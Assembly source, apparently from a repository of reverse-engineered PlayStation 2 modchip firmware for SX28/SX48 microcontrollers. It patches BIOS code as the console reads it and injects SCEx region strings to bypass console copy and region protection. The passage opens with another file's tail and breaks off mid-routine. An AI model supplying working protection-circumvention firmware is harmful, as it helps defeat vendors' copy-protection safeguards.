PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w mov w,#$20;15 mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz ;; changed from h2o PS1_DETECTED_REBOOT clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_JMP2 ;; originally Label_0183 two different call in sx48 vs sx28 ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w PS1_DETECTED_REBOOT_JMP11to17_JMP2 ;; mov w,#$57 mov VAR_DC2,w ;PS2_PS2LOGO:loop4 PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w PS1_DETECTED_REBOOT_L1 mov w,#$ff mov VAR_DC3,w PS1_DETECTED_REBOOT_L2 mov w,#$ff mov VAR_DC1,w AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 ;; h2o differs. ported snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START mov w,#$26;1b mov fsr,w snb V14_FLAG jmp PS1_MODE_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS mov w,#$37;3c mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS mov w,#$27;1c ;; check if no run v12 ps1 mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 end

1nick9/PS2-Magic-ICE-FINAL-REVERSE

171,428

randomWIPsince-reverse/v0messiah2port/ps2bootonlylanding-skip-logofixonly-pdv-osdsys-logo-testlogofix.s

;******************************************************************************** ; h2o-orange-F-ntscconsoleps1fix-v8japsupportadded.sxh hash 3158b96dd151bdd71406c4c05b80915e ;******************************************************************************** ;DEFINE ;expermenting defines, not needed. ;SX48RAM = 1 ; unneeded memory remap, has issues with 75k ps1drv, likely some wrong cals ;SX Chip used. SX48 uncomment below. SX28 have commented. SX48 = 1 ; uncomment for compiling for sx48 else is compiled for sx28 F=TR ;RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. sx28 or this and next define aswell for sx48 E51E9226F0360FBAA2510BDFDA0BC433 ;USE SX48RSTBUMP ONLY FOR SX COMPILING FOR SX48. Both RSTBUMP and SX48RSTBUMP must be on ;SX48RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. for sx48 with RSTBUMP uncommented 4D74D099733ACDDCBB4F046B4258B20C ;V14/V8jap identiy jmpers. if using sx48 needs the trim, sx28 either can go but stock code is without trim ;H2O75KJMPERS = 1 ; uncomment for compiling with restbump for ps1mode. if compiling for rstbmp use one of the sx28/sx48 with h2o v14usa/v14jap/v8jap ident jmpers else use F=TR defines 3158B96DD151BDD71406C4C05B80915E ;SX48H2O75KJMPERSTRIM = 1 ; needed if using h2o jmpers ident with sx48 rstbmp. h needs to go to 5v if not jap console or triggers my cad. D146DFD2DFC6F641029CA7A2A1529DD3 ;USE ONLY IF F=TR or RSTBUMP without H2O75KJMPERS. ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal sx28 0F465F30D6207AF98456841781DEC442 sx48 A7B089F1BEFF0EE9EE002CB378A1D018 ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa sx28 0F7BAA63B5735E9A0D7C40BAF4E57A7B sx48 CD93EF4293DA0171269FE8C42E7E6D1E ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap sx28 17F5B31F88A8CF440BF83BB7B52587F4 sx48 8A998B76CC47D7A65D7C61A4F2901570 ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;; checksums 75kps1yfix not updated ;only rstbump v8jap tested but rest should be right IFDEF SX48 device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ELSE device SX28,TURBO,PROTECT,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ENDIF ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) IFDEF SX48 ;regs sx48 VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ELSE ;regs sx28 VAR_DC1 = $08 ; DS 1 ; delay counter 1(small) VAR_DC2 = $09 ; DS 1 ; delay counter 2(small) VAR_DC3 = $0A ; DS 1 ; delay counter 3(big) VAR_DC4 = $0b ; DS 1 ; delay counter 4 VAR_PSX_TEMP = $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BYTE = $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PATCH_FLAGS = $0E ; DS 1 VAR_SWITCH = $0F ; DS 1 VAR_BIOS_REV = $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR = $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP = $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_PSX_BITC = $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_PSX_BC_CDDVD_TEMP = $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect ENDIF ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. JAP_V8 = VAR_SWITCH.2 X_FLAG = VAR_SWITCH.3 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models V0_FLAG = VAR_SWITCH.6 ;V0 10-18K console flag ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 IFDEF SX48 ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $0FFF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w IFDEF H2O75KJMPERS mov w,#$1e ;; extra needed for io v14jmp mov m,w mov w,#$be mov !IO_CDDVD_BUS,w ;; end extra io v14jmp ENDIF mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ELSE org $07FF reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mode $000F mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;to be sure ports are input ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ;.... mov w,#$ff ; 1111 1111 mov !ra,w ;... mode $000A ;set up edge register mov w,#$8 ; 0000 1000 mov !IO_CDDVD_BUS,w ;RB3 wait for LOW ( = 1 ),RB2 wait for hi ( =0 ) mode $0009 ;clear all wakeup pending bits clr w mov !IO_CDDVD_BUS,w mode $000B ;enable wakeup... mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ;... on RB3 ( eject ) & RB2 (reset) mode $000F sleep ;INIT_CHIP STARTUP ;here from stby & wake up... mode $000D ;TTL/CMOS mode... mov w,#$f7 ;1111 0111 mov !IO_CDDVD_BUS,w ;set IO_EJECT input as cmos ( level '1' > 2.5V ) work better with noise ... IFDEF H2O75KJMPERS mode $000E ;? ;; h and f io jmpers needed/extra 75k/v8jap mov w,#$be ; 1011 1110 mov !IO_CDDVD_BUS,w ;; end ENDIF mode $000F ;port mode mov w,#$7 ; 0000 0111 mov !ra,w ;port mode : all input mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;rtcc enabled,no int,incr.on clock, prescaler (bit 2,1,0). ;read power down register clr fsr mode $0009 ;read power down register clr w ;clear W mov !IO_CDDVD_BUS,w ;exchange registers = read pending bits mov VAR_PSX_BITC,w ;save wake up status ... mode $000F ;need 'cause removed from patch disk for speed ! ENDIF ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND ;0 = power up from sleep , 1= power up from Power ON (STBY) snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 ;xcdvdman reload check page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ;reset all used flag... clr VAR_SWITCH jmp BIOS_GET_SYNC ;--------------------------------------------------------- ;Delay routine using RTCC ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- DELAY100m ;Precise delay routine using RTCC ;-------------------------------------------------------------------------------- mov w,#100;$64 mov VAR_DC1,w ;delay = 100 millisec. RTCC_SET_BIT mov w,#61;$3d mov rtcc,w ;load timer = 61 ; delay = (256-61)*256*0.02 micros.= 1000 micros. / 45 for 54M RTCC_CHECK mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit jmp RTCC_SET_BIT retp ;Return from call ;-------------------------------------------------------------------------------- SET_INTRPT ;setup interrupt routine ;-------------------------------------------------------------------------------- IFDEF SX48 mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ELSE mode $000A ;set up edge register mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense ;wait for low mode $0009 ;clear all wakeup pending bits clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; clear all wakeup pending bits ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ;enable interrupt ; MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enable interrupt mode $000F ; XFh mode direction for RA, RB, RC output retp ENDIF ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#59;$3b ;#59 var_dc3 mov mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#59;$3b mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb SCEX_FLAG :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; JAP 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; UK 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- IFDEF SX48 snb USA_FLAG jmp usa ;; idea for space usa flow trigger snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ELSE snb JAP_FLAG jmp jap snb UK_FLAG jmp uk clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#8;$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#4;$4 mov VAR_DC4,w jmp SCEx_IO_SET SCEx_IO_SET mov w,#4;$4 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$b mov !ra,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#8;$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#22;$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$f mov !ra,w ret ENDIF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC setb V0_FLAG ;;;; snb V0_FLAG jmp BIOS_JAP ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low nop ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop ENDIF mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z ;; alt v0 ident if C jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f ; check if USA JMPER set for v14 jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14orv8 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE setb PSX_FLAG jmp MODE_SELECT_START ; ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 ; is bios 1.7 for v9-10 ;select KERNEL TYPE V9 or V10 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 ; is bios 1.9 for v11 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp START_BIOS_PATCH_SYNC_V9toV14 ;V1-8 kernels: sync 1E006334 then 2410 mov w,#50;$32 ; v1-8 bios VAR_DC1 set fall over no match for mov VAR_DC1,w START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e ; 1e 00 63 34 24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 ; next byte / wait for bios OE low BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF call BIOS_WAIT_OE_LO_P1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ;exit KERNEL PATCH ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 ; patch 25 10 43 00 to 00 00 00 00 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp 